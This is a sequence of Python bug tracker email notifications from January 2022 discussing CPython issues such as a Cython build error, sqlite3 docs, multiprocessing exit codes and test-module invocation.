src/uring.c:53643:26: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_traceback? 53643 | tmp_tb = exc_info->exc_traceback; | ^~ src/uring.c:53644:17: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53644 | exc_info->exc_type = local_type; | ^~ src/uring.c:53646:17: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_traceback? 53646 | exc_info->exc_traceback = local_tb; | ^~ src/uring.c: In function ?__Pyx__ExceptionSwap?: src/uring.c:53679:24: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53679 | tmp_type = exc_info->exc_type; | ^~ src/uring.c:53681:22: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_traceback? 53681 | tmp_tb = exc_info->exc_traceback; | ^~ src/uring.c:53682:13: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_type? 53682 | exc_info->exc_type = *type; | ^~ src/uring.c:53684:13: error: ?_PyErr_StackItem? {aka ?struct _err_stackitem?} has no member named ?exc_traceback? 53684 | exc_info->exc_traceback = *tb; | ^~ error: command '/usr/bin/gcc' failed with exit code 1 ---------- messages: 410901 nosy: YoSTEALTH priority: normal severity: normal status: open title: 3.11.0a3 vs 3.11.0a4 type: compile error versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:57:47 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 18 Jan 2022 21:57:47 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642543067.48.0.137481146205.issue46402@roundup.psfhosted.org> Eric V. Smith added the comment: New changeset 01e6cbefd3d0f60c942ed711131f5d638dde1227 by Erlend Egeberg Aasland in branch '3.10': [3.10] bpo-46402: Promote SQLite URI tricks in sqlite3 docs (GH-30660) (GH-30671) https://github.com/python/cpython/commit/01e6cbefd3d0f60c942ed711131f5d638dde1227 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:58:50 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 18 Jan 2022 21:58:50 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642543130.79.0.521077971319.issue46402@roundup.psfhosted.org> Eric V. Smith added the comment: New changeset 0ae22577606f1b52e3b6c2de6c5b307518044605 by Erlend Egeberg Aasland in branch '3.9': [3.9] bpo-46402: Promote SQLite URI tricks in sqlite3 docs (GH-30660) (#30672) https://github.com/python/cpython/commit/0ae22577606f1b52e3b6c2de6c5b307518044605 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 16:59:21 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 Jan 2022 21:59:21 +0000 Subject: [issue46428] 3.11.0a3 vs 3.11.0a4 In-Reply-To: <1642542994.93.0.158287959711.issue46428@roundup.psfhosted.org> Message-ID: <1642543161.26.0.992006229273.issue46428@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 17:02:18 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 18 Jan 2022 22:02:18 +0000 Subject: =?utf-8?q?=5Bissue46428=5D_Cython_Build=3A_=27=5FPyErr=5FStackItem?= =?utf-8?b?4oCZIGhhcyBubyBtZW1iZXIgbmFtZWQg4oCYZXhjX3RyYWNlYmFja+KAmQ==?= In-Reply-To: <1642542994.93.0.158287959711.issue46428@roundup.psfhosted.org> Message-ID: <1642543338.87.0.810583340537.issue46428@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- title: 3.11.0a3 vs 3.11.0a4 -> Cython Build: '_PyErr_StackItem? has no member named ?exc_traceback? _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 17:03:33 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 22:03:33 +0000 Subject: [issue45554] multiprocessing exitcode is insufficiently documented In-Reply-To: <1634821512.68.0.19757436473.issue45554@roundup.psfhosted.org> Message-ID: <1642543413.29.0.989382145869.issue45554@roundup.psfhosted.org> miss-islington added the comment: New changeset 0be4760d85399a308421d9229b5d7f1b4ec718a2 by Miss Islington (bot) in branch '3.9': [3.9] bpo-45554: Document multiprocessing.Process.exitcode values (GH-30142) (GH-30675) https://github.com/python/cpython/commit/0be4760d85399a308421d9229b5d7f1b4ec718a2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 17:05:15 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 22:05:15 +0000 Subject: =?utf-8?q?=5Bissue46428=5D_Cython_Build=3A_=27=5FPyErr=5FStackItem?= =?utf-8?b?4oCZIGhhcyBubyBtZW1iZXIgbmFtZWQg4oCYZXhjX3RyYWNlYmFja+KAmQ==?= In-Reply-To: <1642542994.93.0.158287959711.issue46428@roundup.psfhosted.org> Message-ID: <1642543515.31.0.943130595424.issue46428@roundup.psfhosted.org> Irit Katriel added the comment: This is issue45711. See Stefan?s comment there. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 17:11:52 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 18 Jan 2022 22:11:52 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642543912.29.0.836291547476.issue46425@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- pull_requests: +28876 pull_request: https://github.com/python/cpython/pull/30676 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 17:15:01 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 Jan 2022 22:15:01 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642544101.76.0.0942904304572.issue46402@roundup.psfhosted.org> Erlend E. Aasland added the comment: Closing this. Thanks, Ned and Eric! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 17:16:17 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 22:16:17 +0000 Subject: =?utf-8?q?=5Bissue46428=5D_Cython_Build=3A_=27=5FPyErr=5FStackItem?= =?utf-8?b?4oCZIGhhcyBubyBtZW1iZXIgbmFtZWQg4oCYZXhjX3RyYWNlYmFja+KAmQ==?= In-Reply-To: <1642542994.93.0.158287959711.issue46428@roundup.psfhosted.org> Message-ID: <1642544177.57.0.713717148021.issue46428@roundup.psfhosted.org> Change by Irit Katriel : ---------- nosy: +scoder _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 17:20:37 2022 From: report at bugs.python.org (YoSTEALTH) Date: Tue, 18 Jan 2022 22:20:37 +0000 Subject: =?utf-8?q?=5Bissue46428=5D_Cython_Build=3A_=27=5FPyErr=5FStackItem?= =?utf-8?b?4oCZIGhhcyBubyBtZW1iZXIgbmFtZWQg4oCYZXhjX3RyYWNlYmFja+KAmQ==?= In-Reply-To: <1642542994.93.0.158287959711.issue46428@roundup.psfhosted.org> Message-ID: <1642544437.8.0.508105878819.issue46428@roundup.psfhosted.org> YoSTEALTH added the comment: Thanks @iritkatriel will close this, seems like people are aware of this bug as working on fix it :) ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 17:29:53 2022 From: report at bugs.python.org (Eryk Sun) Date: Tue, 18 Jan 2022 22:29:53 +0000 Subject: [issue45554] multiprocessing exitcode is insufficiently documented In-Reply-To: <1634821512.68.0.19757436473.issue45554@roundup.psfhosted.org> Message-ID: <1642544993.93.0.131263227182.issue45554@roundup.psfhosted.org> Eryk Sun added the comment: PR 30142 is sufficient for Unix, but it's missing a bit for Windows. In Windows, the C runtime library maps the console event for Ctrl+Break to SIGBREAK. The default handler for SIGBREAK exits with 0xC000013A (i.e. STATUS_CONTROL_C_EXIT). This value is unrelated to the value of signal.SIGBREAK (21) or signal.SIGINT (2). To forcefully terminate a process, Windows taskkill and Task Manager, and pretty much all utilities that can kill a process, call TerminateProcess() with 1 as the exit status. There's no way to know that this is a forced termination as opposed to an unhandled error. The internal terminate() method in Windows uses 0x10000 as the real exit status of the process, but the internal wait() method maps this to -signal.SIGTERM (-15). Thus the case of calling Process.terminate(), and only this case, is faked in Windows to look like the process was killed by a signal. ---------- nosy: +eryksun resolution: fixed -> stage: resolved -> patch review status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 17:31:50 2022 From: report at bugs.python.org (Eryk Sun) Date: Tue, 18 Jan 2022 22:31:50 +0000 Subject: [issue45554] multiprocessing exitcode is insufficiently documented In-Reply-To: <1634821512.68.0.19757436473.issue45554@roundup.psfhosted.org> Message-ID: <1642545110.83.0.746688859189.issue45554@roundup.psfhosted.org> Change by Eryk Sun : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 17:42:21 2022 From: report at bugs.python.org (neonene) Date: Tue, 18 Jan 2022 22:42:21 +0000 Subject: [issue46427] Correct MSBuild's configuration for _freeze_module.exe In-Reply-To: <1642539207.01.0.739472592427.issue46427@roundup.psfhosted.org> Message-ID: <1642545741.32.0.71683452742.issue46427@roundup.psfhosted.org> neonene added the comment: >This also rolls _freeze_module.exe's architecture back to x64 Correcting: from x86 back to x64 In my recognition, only Win32 _freeze_module.exe is built currently and run on non-ARM machines to generate the code for Win32/x64/ARM/ARM64 targets. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 17:48:10 2022 From: report at bugs.python.org (Thomas Klausner) Date: Tue, 18 Jan 2022 22:48:10 +0000 Subject: [issue46045] NetBSD: do not use POSIX semaphores In-Reply-To: <1639218664.63.0.969239482314.issue46045@roundup.psfhosted.org> Message-ID: <1642546090.06.0.378385048276.issue46045@roundup.psfhosted.org> Thomas Klausner added the comment: Thanks for merging this, @serhiy.storchaka! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 17:59:52 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 18 Jan 2022 22:59:52 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642546792.96.0.582826209745.issue46425@roundup.psfhosted.org> Nikita Sobolev added the comment: Terry, yes I am using this script to run tests locally: ```bash #!/usr/bin/env bash set -e while read line; do ./python.exe "$line" done < files.txt ``` And this one to populate `files.txt`: ```bash find ./Lib -iname 'test*.py' -o -iname '*tests.py' -exec echo {} >> files.txt \; ``` --- There are several other problems that I have to fix manually. For example, module-level `raise unittest.case.SkipTest()`: ``` ? ./python.exe Lib/test/test_winreg.py Traceback (most recent call last): File "/Users/sobolev/Desktop/cpython/Lib/test/support/import_helper.py", line 77, in import_module return importlib.import_module(name) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/importlib/__init__.py", line 126, in import_module return _bootstrap._gcd_import(name[level:], package, level) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "", line 1206, in _gcd_import File "", line 1178, in _find_and_load File "", line 1142, in _find_and_load_unlocked ModuleNotFoundError: No module named 'winreg' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/Users/sobolev/Desktop/cpython/Lib/test/test_winreg.py", line 11, in import_helper.import_module('winreg', required_on=['win']) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/contextlib.py", line 155, in __exit__ self.gen.throw(typ, value, traceback) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/test/support/import_helper.py", line 26, in _ignore_deprecated_imports yield ^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/test/support/import_helper.py", line 81, in import_module raise unittest.SkipTest(str(msg)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ unittest.case.SkipTest: No module named 'winreg' ``` I am not sure what is the proper solution to this one :thinking: Probably, I will update my script for more advanced Python-based one and ignore this exception. In the end, I expect to run this script without any failures. This is going to be a great result! --- I will also check that all possible modes `python -m test test_xyz` / `python -m test.test_xyz` / `python Lib/test/test_xyz.py` are supported. --- Also, thank you for listing concrete problems with my first submission. The second one is bound to a single problem and a single submodule. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 18:08:46 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 23:08:46 +0000 Subject: [issue43118] inspect.signature() raises RuntimeError on failed to resolve the default argument value In-Reply-To: <1612364652.22.0.413597788447.issue43118@roundup.psfhosted.org> Message-ID: <1642547326.11.0.943960064181.issue43118@roundup.psfhosted.org> Change by Irit Katriel : ---------- type: -> behavior versions: +Python 3.11 -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 18:11:49 2022 From: report at bugs.python.org (Ethan Furman) Date: Tue, 18 Jan 2022 23:11:49 +0000 Subject: [issue45535] Enum's dir() does not contain inherited members In-Reply-To: <1634726106.14.0.525814954361.issue45535@roundup.psfhosted.org> Message-ID: <1642547509.26.0.538478028662.issue45535@roundup.psfhosted.org> Change by Ethan Furman : ---------- pull_requests: +28877 pull_request: https://github.com/python/cpython/pull/30677 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 18:13:23 2022 From: report at bugs.python.org (Ethan Furman) Date: Tue, 18 Jan 2022 23:13:23 +0000 Subject: [issue45535] Enum's dir() does not contain inherited members In-Reply-To: <1634726106.14.0.525814954361.issue45535@roundup.psfhosted.org> Message-ID: <1642547603.72.0.184300911224.issue45535@roundup.psfhosted.org> Ethan Furman added the comment: New changeset 7c0914d35eaaab2f323260ba5fe8884732533888 by Ethan Furman in branch 'main': bpo-45535: [Enum] include special dunders in dir() (GH-30677) https://github.com/python/cpython/commit/7c0914d35eaaab2f323260ba5fe8884732533888 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 18:28:10 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 23:28:10 +0000 Subject: [issue13649] termios.ICANON is not documented In-Reply-To: <1324566585.96.0.744911903947.issue13649@psf.upfronthosting.co.za> Message-ID: <1642548490.73.0.174430471883.issue13649@roundup.psfhosted.org> Irit Katriel added the comment: I agree, there is no point copying over the documentation just for this one constant, there are many others and the doc clearly says where they are listed. ---------- nosy: +iritkatriel resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 18:32:09 2022 From: report at bugs.python.org (neonene) Date: Tue, 18 Jan 2022 23:32:09 +0000 Subject: [issue46427] Correct MSBuild's configuration for _freeze_module.exe In-Reply-To: <1642539207.01.0.739472592427.issue46427@roundup.psfhosted.org> Message-ID: <1642548729.49.0.221430101118.issue46427@roundup.psfhosted.org> neonene added the comment: Defenition in general_advanced.xml -------------------- These options above are corresponded to the following folders in my case: Microsoft Visual Studio\.....\VC\Tools\MSVC\\bin\Hostx86 Microsoft Visual Studio\.....\VC\Tools\MSVC\\bin\Hostx64 And Each has the 4 children below that contain cl.exe/link.exe/etc...: arm arm64 x64 x86 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 18:40:36 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 23:40:36 +0000 Subject: [issue35107] untokenize() fails on tokenize output when a newline is missing In-Reply-To: <1540851998.41.0.788709270274.issue35107@psf.upfronthosting.co.za> Message-ID: <1642549236.22.0.965974320409.issue35107@roundup.psfhosted.org> Irit Katriel added the comment: I am unable to reproduce this on 3.11: >>> tokenize.untokenize(tokenize.generate_tokens(io.StringIO('#').readline)) '#' ---------- nosy: +iritkatriel status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 18:47:55 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 23:47:55 +0000 Subject: [issue29860] smtplib.py doesn't capitalize EHLO. In-Reply-To: <1490020373.29.0.308540627587.issue29860@psf.upfronthosting.co.za> Message-ID: <1642549675.77.0.317359470753.issue29860@roundup.psfhosted.org> Irit Katriel added the comment: It's been 5 years, it's not really a bug, and nobody seems to be interested enough to submit a patch so I'm closing this. Feel free to reopen if you want to pursue this. ---------- nosy: +iritkatriel resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 18:49:58 2022 From: report at bugs.python.org (bpoaugust) Date: Tue, 18 Jan 2022 23:49:58 +0000 Subject: [issue46392] MessageIDHeader is too strict for message-id In-Reply-To: <1642292190.73.0.652141176491.issue46392@roundup.psfhosted.org> Message-ID: <1642549798.2.0.698616491121.issue46392@roundup.psfhosted.org> bpoaugust added the comment: Sorry, I think '' is not valid, as spaces are not allowed between words. However I am not seeing the original unfolded source if there is an error, unless I am misunderstanding the API. For example: --- cut here --- import email.header import email.utils import email.policy def test(test): msg_string = f"Message-id: {test}" message = email.message_from_string(msg_string, policy=email.policy.default) out = message['Message-id'] print(test) print(out) test('') # invalid test('') # valid --- cut here --- This produces: # truncated at error i.e. the invalid input is truncated ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 18:53:34 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 23:53:34 +0000 Subject: [issue39854] f-strings with format specifiers have wrong col_offset In-Reply-To: <1583347311.91.0.313226476752.issue39854@roundup.psfhosted.org> Message-ID: <1642550014.0.0.943545485409.issue39854@roundup.psfhosted.org> Irit Katriel added the comment: I am unable to reproduce this on 3.11: >>> ast.parse('f"{x}"').body[0].value.values[0].value.col_offset 3 >>> ast.parse('f"{x!r}"').body[0].value.values[0].value.col_offset 3 ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 19:08:14 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 00:08:14 +0000 Subject: [issue34526] Path.relative_to() taking multiple arguments could be better documented In-Reply-To: <1535445749.23.0.56676864532.issue34526@psf.upfronthosting.co.za> Message-ID: <1642550894.6.0.0846411063089.issue34526@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 19:09:55 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 00:09:55 +0000 Subject: [issue28169] shift exponent overflow In-Reply-To: <1473938615.31.0.984151049874.issue28169@psf.upfronthosting.co.za> Message-ID: <1642550995.85.0.288250411105.issue28169@roundup.psfhosted.org> Irit Katriel added the comment: 3.7 is no longer maintained. Please open a new issue if you are still seeing this problem on a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 19:12:53 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 00:12:53 +0000 Subject: [issue28477] Add optional user argument to pathlib.Path.home() In-Reply-To: <1476898462.87.0.214098648021.issue28477@psf.upfronthosting.co.za> Message-ID: <1642551173.57.0.878001466102.issue28477@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 19:38:51 2022 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Wed, 19 Jan 2022 00:38:51 +0000 Subject: [issue41791] mimetypes module does not recognize jp2 type In-Reply-To: <1600144307.97.0.591745605568.issue41791@roundup.psfhosted.org> Message-ID: <1642552731.44.0.794718556672.issue41791@roundup.psfhosted.org> Change by Andr?s Delfino : ---------- nosy: -adelfino _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 19:42:44 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 Jan 2022 00:42:44 +0000 Subject: [issue24905] Allow incremental I/O to blobs in sqlite3 In-Reply-To: <1440144321.97.0.0781853247945.issue24905@psf.upfronthosting.co.za> Message-ID: <1642552964.62.0.0268796051494.issue24905@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +28878 pull_request: https://github.com/python/cpython/pull/30680 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 19:45:57 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 Jan 2022 00:45:57 +0000 Subject: [issue24905] Allow incremental I/O to blobs in sqlite3 In-Reply-To: <1440144321.97.0.0781853247945.issue24905@psf.upfronthosting.co.za> Message-ID: <1642553157.87.0.114461676109.issue24905@roundup.psfhosted.org> Erlend E. Aasland added the comment: PR without mapping protocol and context manager submitted: GH-30680. I've also changed the open API to reflect that of apsw. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 21:25:49 2022 From: report at bugs.python.org (XD Trol) Date: Wed, 19 Jan 2022 02:25:49 +0000 Subject: [issue46391] Library multiprocess leaks named resources. In-Reply-To: <1642269897.29.0.322439501259.issue46391@roundup.psfhosted.org> Message-ID: <1642559149.96.0.0506676047924.issue46391@roundup.psfhosted.org> Change by XD Trol : ---------- nosy: +yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 21:29:23 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Wed, 19 Jan 2022 02:29:23 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642559363.69.0.225087036741.issue46399@roundup.psfhosted.org> Jelle Zijlstra added the comment: The types of `.keys()`, `.items()`, and `.values()` on `collections.OrderedDict` are distinct from those for dict, and they are also not exposed anywhere. Should we put them in a public, documented place too for consistency? >>> import collections >>> od = collections.OrderedDict() >>> type(od.keys()) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 21:29:39 2022 From: report at bugs.python.org (Hai Shi) Date: Wed, 19 Jan 2022 02:29:39 +0000 Subject: [issue46368] faulthandler: add the ability to dump all interpreters, not only the current interpreter In-Reply-To: <1642105604.41.0.0582703431564.issue46368@roundup.psfhosted.org> Message-ID: <1642559379.95.0.521085216638.issue46368@roundup.psfhosted.org> Change by Hai Shi : ---------- nosy: +shihai1991 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 23:27:26 2022 From: report at bugs.python.org (Kumar Aditya) Date: Wed, 19 Jan 2022 04:27:26 +0000 Subject: [issue46429] Merge all deepfrozen files into one Message-ID: <1642566446.59.0.92047418584.issue46429@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: gvanrossum, kumaraditya303 priority: normal severity: normal status: open title: Merge all deepfrozen files into one versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 23:27:55 2022 From: report at bugs.python.org (Kumar Aditya) Date: Wed, 19 Jan 2022 04:27:55 +0000 Subject: [issue46429] Merge all deepfrozen files into one Message-ID: <1642566475.5.0.0258055874518.issue46429@roundup.psfhosted.org> Change by Kumar Aditya : ---------- keywords: +patch pull_requests: +28879 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30572 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 23:31:36 2022 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 19 Jan 2022 04:31:36 +0000 Subject: [issue46429] Merge all deepfrozen files into one Message-ID: <1642566696.59.0.965062027476.issue46429@roundup.psfhosted.org> New submission from Guido van Rossum : This saves some space when strings are shared across deep-frozen module. Kumar measured this at around 0.2 Mbyte. See discussion https://github.com/faster-cpython/ideas/issues/218 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 23:53:13 2022 From: report at bugs.python.org (Inada Naoki) Date: Wed, 19 Jan 2022 04:53:13 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642567993.17.0.270837026123.issue46399@roundup.psfhosted.org> Inada Naoki added the comment: I am not happy about exposing every internal types. I prefer duck typing. Like OrderedDict, not all dict subtypes uses `dict_keys`, `dict_views`, and `dict_items`. If typeshed annotate dict.keys() returns `dict_keys`, "incompatible override" cano not be avoided. I prefer: * Keep status-quo: keys().mapping cause false positive and user need to suppress. This is not a big problem because `.mapping` is very rarely used. * Or add `.mapping` to `KeysView`, `ValuesView`, and `ItemsView`. Force every dict subclasses to implement it. ---------- nosy: +methane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 02:18:19 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 19 Jan 2022 07:18:19 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642576699.87.0.218257935505.issue46425@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- pull_requests: +28880 pull_request: https://github.com/python/cpython/pull/30681 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 02:24:10 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 19 Jan 2022 07:24:10 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642577050.72.0.0877886084584.issue46425@roundup.psfhosted.org> Nikita Sobolev added the comment: Important note, in practice there's also a difference in how one calls some test module: - python Lib/test/test_contextlib.py - python ./Lib/test/test_contextlib.py Example of a test failure because of that: https://github.com/python/cpython/pull/30681 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 03:14:28 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 19 Jan 2022 08:14:28 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1642580068.77.0.124366391776.issue37295@roundup.psfhosted.org> Serhiy Storchaka added the comment: All this should be tested with the C implementation because relative cost of operations is different in C and Python. I have tested Raymond's idea about using iterative algorithm for small k. $ ./python -m timeit -s 'from math import comb' "comb(3329023, 3)" recursive: Mean +- std dev: 173 ns +- 9 ns iterative: Mean +- std dev: 257 ns +- 13 ns $ ./python -m pyperf timeit -s 'from math import comb' "comb(102571, 4)" recursive: Mean +- std dev: 184 ns +- 10 ns iterative: Mean +- std dev: 390 ns +- 29 ns $ ./python -m pyperf timeit -s 'from math import comb' "comb(747, 8)" recursive: Mean +- std dev: 187 ns +- 10 ns iterative: Mean +- std dev: 708 ns +- 39 ns Recursive algorithm is always faster than iterative one for k>2 (they are equal for k=1 and k=2). And it is not only because of division, because for perm() we have the same difference. $ ./python -m pyperf timeit -s 'from math import perm' "perm(2642247, 3)" recursive: Mean +- std dev: 118 ns +- 7 ns iterative: Mean +- std dev: 147 ns +- 8 ns $ ./python -m pyperf timeit -s 'from math import perm' "perm(65538, 4)" recursive: Mean +- std dev: 130 ns +- 9 ns iterative: Mean +- std dev: 203 ns +- 13 ns $ ./python -m pyperf timeit -s 'from math import perm' "perm(260, 8)" recursive: Mean +- std dev: 131 ns +- 10 ns iterative: Mean +- std dev: 324 ns +- 16 ns As for the idea about using a table for fixed k=20, note that comb(87, 20) exceeds 64 bits, so we will need to use a table of 128-bit integers. And I am not sure if this algorithm will be faster than the recursive one. We may achieve better results for lesser cost if extend Mark's algorithm to use 128-bit integers. I am not sure whether it is worth, the current code is good enough and cover the wide range of cases. Additional optimizations will likely have lesser effort/benefit ratio. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 03:39:09 2022 From: report at bugs.python.org (Hai Shi) Date: Wed, 19 Jan 2022 08:39:09 +0000 Subject: [issue45113] [subinterpreters][C API] Add a new function to create PyStructSequence from Heap. In-Reply-To: <1630926648.9.0.514792822043.issue45113@roundup.psfhosted.org> Message-ID: <1642581549.15.0.524808295652.issue45113@roundup.psfhosted.org> Hai Shi added the comment: > If not, I'd like to close this (with apologies for not doing my research and letting Hai Shi do unmerged work). > If a use case is found, I suspect it'll need a different solution ? perhaps allowing PyType_Slot?s OK, I close this bpo. We can reopen or create a new bpo if we find a useful user case. Thank you all for joining this bpo :) ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 03:52:55 2022 From: report at bugs.python.org (Batuhan Taskaya) Date: Wed, 19 Jan 2022 08:52:55 +0000 Subject: [issue46422] Why do we need `dis.Positions`? In-Reply-To: <1642509008.04.0.395294321194.issue46422@roundup.psfhosted.org> Message-ID: <1642582375.66.0.248766378357.issue46422@roundup.psfhosted.org> Batuhan Taskaya added the comment: The initial aim of the dis.Positions was to provide an interface like AST 